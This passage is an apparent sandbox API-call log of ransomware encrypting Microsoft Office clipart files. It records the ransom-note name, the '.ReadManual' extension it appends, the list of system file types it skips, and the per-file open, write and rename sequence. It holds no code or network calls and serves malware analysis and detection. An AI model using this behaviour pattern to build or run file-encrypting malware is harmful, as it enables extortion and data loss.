StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.771] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.771] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.771] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.772] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.772] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.772] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.772] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.772] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.772] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.772] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.772] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" [0265.772] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.ReadManual.5A595725" [0265.772] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.ReadManual.5A595725") returned 87 [0265.772] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38644060310) returned 1 [0265.772] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 0x20 [0265.772] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.772] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3904) returned 1 [0265.772] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf40, lpName=0x0) returned 0x184 [0265.772] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.773] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.773] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.783] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.785] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf40) returned 0x2f0000 [0265.786] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.786] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38645445069) returned 1 [0265.786] CloseHandle (hObject=0x184) returned 1 [0265.787] SetSecurityInfo () returned 0x57 [0265.789] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.789] CloseHandle (hObject=0x194) returned 1 [0265.789] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1 [0265.789] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099204.WMF" | out: lpString1="J0099204.WMF") returned="J0099204.WMF" [0265.789] lstrcmpiW (lpString1="J0099204.WMF", lpString2="RecoveryManual.html") returned -1 [0265.789] StrStrIW (lpFirst="J0099204.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.789] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.789] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.789] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.789] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.790] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.791] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.792] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.792] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.792] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.792] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.792] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.792] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.792] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.792] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.792] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" [0265.792] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.ReadManual.5A595725" [0265.792] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.ReadManual.5A595725") returned 87 [0265.792] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38646092414) returned 1 [0265.792] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 0x20 [0265.793] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.793] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17854) returned 1 [0265.793] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45be, lpName=0x0) returned 0x184 [0265.793] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.794] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.794] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.824] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.824] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45be) returned 0x2f0000 [0265.826] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.826] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38649486792) returned 1 [0265.826] CloseHandle (hObject=0x184) returned 1 [0265.826] SetSecurityInfo () returned 0x57 [0265.828] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.828] CloseHandle (hObject=0x194) returned 1 [0265.828] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1 [0265.828] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099205.WMF" | out: lpString1="J0099205.WMF") returned="J0099205.WMF" [0265.828] lstrcmpiW (lpString1="J0099205.WMF", lpString2="RecoveryManual.html") returned -1 [0265.828] StrStrIW (lpFirst="J0099205.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.828] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.828] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.828] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" [0265.828] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.ReadManual.5A595725" [0265.828] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.ReadManual.5A595725") returned 87 [0265.828] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38649721004) returned 1 [0265.828] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 0x20 [0265.829] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.829] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17854) returned 1 [0265.829] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45be, lpName=0x0) returned 0x184 [0265.829] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.830] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.830] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.858] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.858] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45be) returned 0x2f0000 [0265.860] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.860] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38652906917) returned 1 [0265.860] CloseHandle (hObject=0x184) returned 1 [0265.862] SetSecurityInfo () returned 0x57 [0265.862] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.862] CloseHandle (hObject=0x194) returned 1 [0265.862] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1 [0265.862] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101856.BMP" | out: lpString1="J0101856.BMP") returned="J0101856.BMP" [0265.862] lstrcmpiW (lpString1="J0101856.BMP", lpString2="RecoveryManual.html") returned -1 [0265.862] StrStrIW (lpFirst="J0101856.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.862] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0265.862] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0265.862] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0265.862] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0265.862] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0265.862] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0265.862] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0265.862] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0265.862] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0265.862] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0265.862] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0265.863] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0265.863] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0265.863] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0265.863] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" [0265.863] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.ReadManual.5A595725" [0265.863] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.ReadManual.5A595725") returned 87 [0265.863] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38653146944) returned 1 [0265.863] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 0x20 [0265.894] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.894] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=78840) returned 1 [0265.894] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x133f8, lpName=0x0) returned 0x184 [0265.896] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.901] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.901] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.015] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.015] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x133f8) returned 0x1de0000 [0266.019] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0266.020] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38668839255) returned 1 [0266.020] CloseHandle (hObject=0x184) returned 1 [0266.020] SetSecurityInfo () returned 0x57 [0266.020] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.020] CloseHandle (hObject=0x194) returned 1 [0266.020] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1 [0266.020] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101857.BMP" | out: lpString1="J0101857.BMP") returned="J0101857.BMP" [0266.020] lstrcmpiW (lpString1="J0101857.BMP", lpString2="RecoveryManual.html") returned -1 [0266.020] StrStrIW (lpFirst="J0101857.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.020] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.020] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.020] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.020] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.020] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.020] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.020] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.020] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.020] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.020] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.020] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.020] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.021] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.021] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.021] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" [0266.021] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.ReadManual.5A595725" [0266.021] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.ReadManual.5A595725") returned 87 [0266.021] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38668948905) returned 1 [0266.021] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 0x20 [0266.021] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.022] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0266.022] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0266.022] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.023] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.023] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.025] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.025] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0266.025] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.025] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38669426203) returned 1 [0266.026] CloseHandle (hObject=0x184) returned 1 [0266.026] SetSecurityInfo () returned 0x57 [0266.026] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.026] CloseHandle (hObject=0x194) returned 1 [0266.026] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1 [0266.026] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101858.BMP" | out: lpString1="J0101858.BMP") returned="J0101858.BMP" [0266.026] lstrcmpiW (lpString1="J0101858.BMP", lpString2="RecoveryManual.html") returned -1 [0266.026] StrStrIW (lpFirst="J0101858.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.026] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.026] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.026] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.026] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" [0266.026] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.ReadManual.5A595725" [0266.026] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.ReadManual.5A595725") returned 87 [0266.027] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38669531101) returned 1 [0266.027] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 